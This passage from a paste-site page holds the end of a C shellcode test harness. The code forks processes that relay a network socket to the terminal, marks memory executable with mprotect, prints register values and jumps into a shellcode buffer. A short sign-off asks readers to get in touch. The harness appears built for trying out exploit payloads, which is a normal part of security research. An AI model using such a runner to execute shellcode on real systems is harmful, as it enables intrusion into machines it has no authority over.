  833. main saves pid1 = reader,
  834. pid2 = writer
  835. to send them SIGUSR1 right before running shellcode
  836. */
  837.  
  838. pid1 = fork();
  839. if (pid1 == 0) {
  840. close(sock);
  841. run_reader(sock2);
  842. }
  843.  
  844. pid2 = fork();
  845. if (pid2 > 0) { // parent - writer
  846. signal(SIGCHLD, exit);
  847. close(sock);
  848. run_writer(sock2);
  849. }
  850. pid2 = getppid();
  851.  
  852. close(sock2);
  853. return sock;
  854. }
  855.  
  856. void run_reader(int fd) {
  857. char buf[4096];
  858. int n;
  859.  
  860. while (!ready) {
  861. usleep(0.1);
  862. }
  863.  
  864. while (1) {
  865. n = read(fd, buf, sizeof(buf));
  866. if (n > 0) {
  867. printf("RECV %d bytes FROM SOCKET: ", n);
  868. fflush(stdout);
  869. write(1, buf, n);
  870. }
  871. else {
  872. exit(0);
  873. }
  874. }
  875. }
  876.  
  877. void run_writer(int fd) {
  878. char buf[4096];
  879. int n;
  880.  
  881. while (!ready) {
  882. usleep(0.1);
  883. }
  884.  
  885. while (1) {
  886. n = read(0, buf, sizeof(buf));
  887. if (n > 0) {
  888. printf("SENT %d bytes TO SOCKET\n", n);
  889. write(fd, buf, n);
  890. }
  891. else {
  892. shutdown(fd, SHUT_WR);
  893. close(fd);
  894. wait(&n);
  895. exit(0);
  896. }
  897. }
  898. }
  899.  
  900. void set_ready(int sig) {
  901. ready = 1;
  902. }
  903.  
  904. void run_shellcode(void *sc_ptr) {
  905. int ret = 0, status = 0;
  906. int (*ptr)();
  907.  
  908. ptr = sc_ptr;
  909. mprotect((void *) ((unsigned int)ptr & 0xfffff000), 4096 * 2, 7);
  910.  
  911. void *esp, *ebp;
  912. void *edi, *esi;
  913.  
  914. asm ("movl %%esp, %0;"
  915. "movl %%ebp, %1;"
  916. :"=r"(esp), "=r"(ebp));
  917.  
  918. asm ("movl %%esi, %0;"
  919. "movl %%edi, %1;"
  920. :"=r"(esi), "=r"(edi));
  921.  
  922. printf("Shellcode at %p\n", ptr);
  923. printf("Registers before call:\n");
  924. printf(" esp: %p, ebp: %p\n", esp, ebp);
  925. printf(" esi: %p, edi: %p\n", esi, edi);
  926.  
  927. printf("----------------------\n");
  928. if (pid1 > 0) kill(pid1, SIGUSR1);
  929. if (pid2 > 0) kill(pid2, SIGUSR1);
  930.  
  931. ret = (*ptr)();
  932.  
  933. if (sock != -1)
  934. close(sock);
  935.  
  936. wait(&status);
  937.  
  938. printf("----------------------\n");
  939.  
  940. printf("Shellcode returned %d\n", ret);
  941. exit(0);
  942. }
  943.  
  944. ----------------------------------------------------------------------------------------------------
  945.  
  946. EOF -> End of File
  947. For Any Question Contact to meeee.
  948. No Greetings :D.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement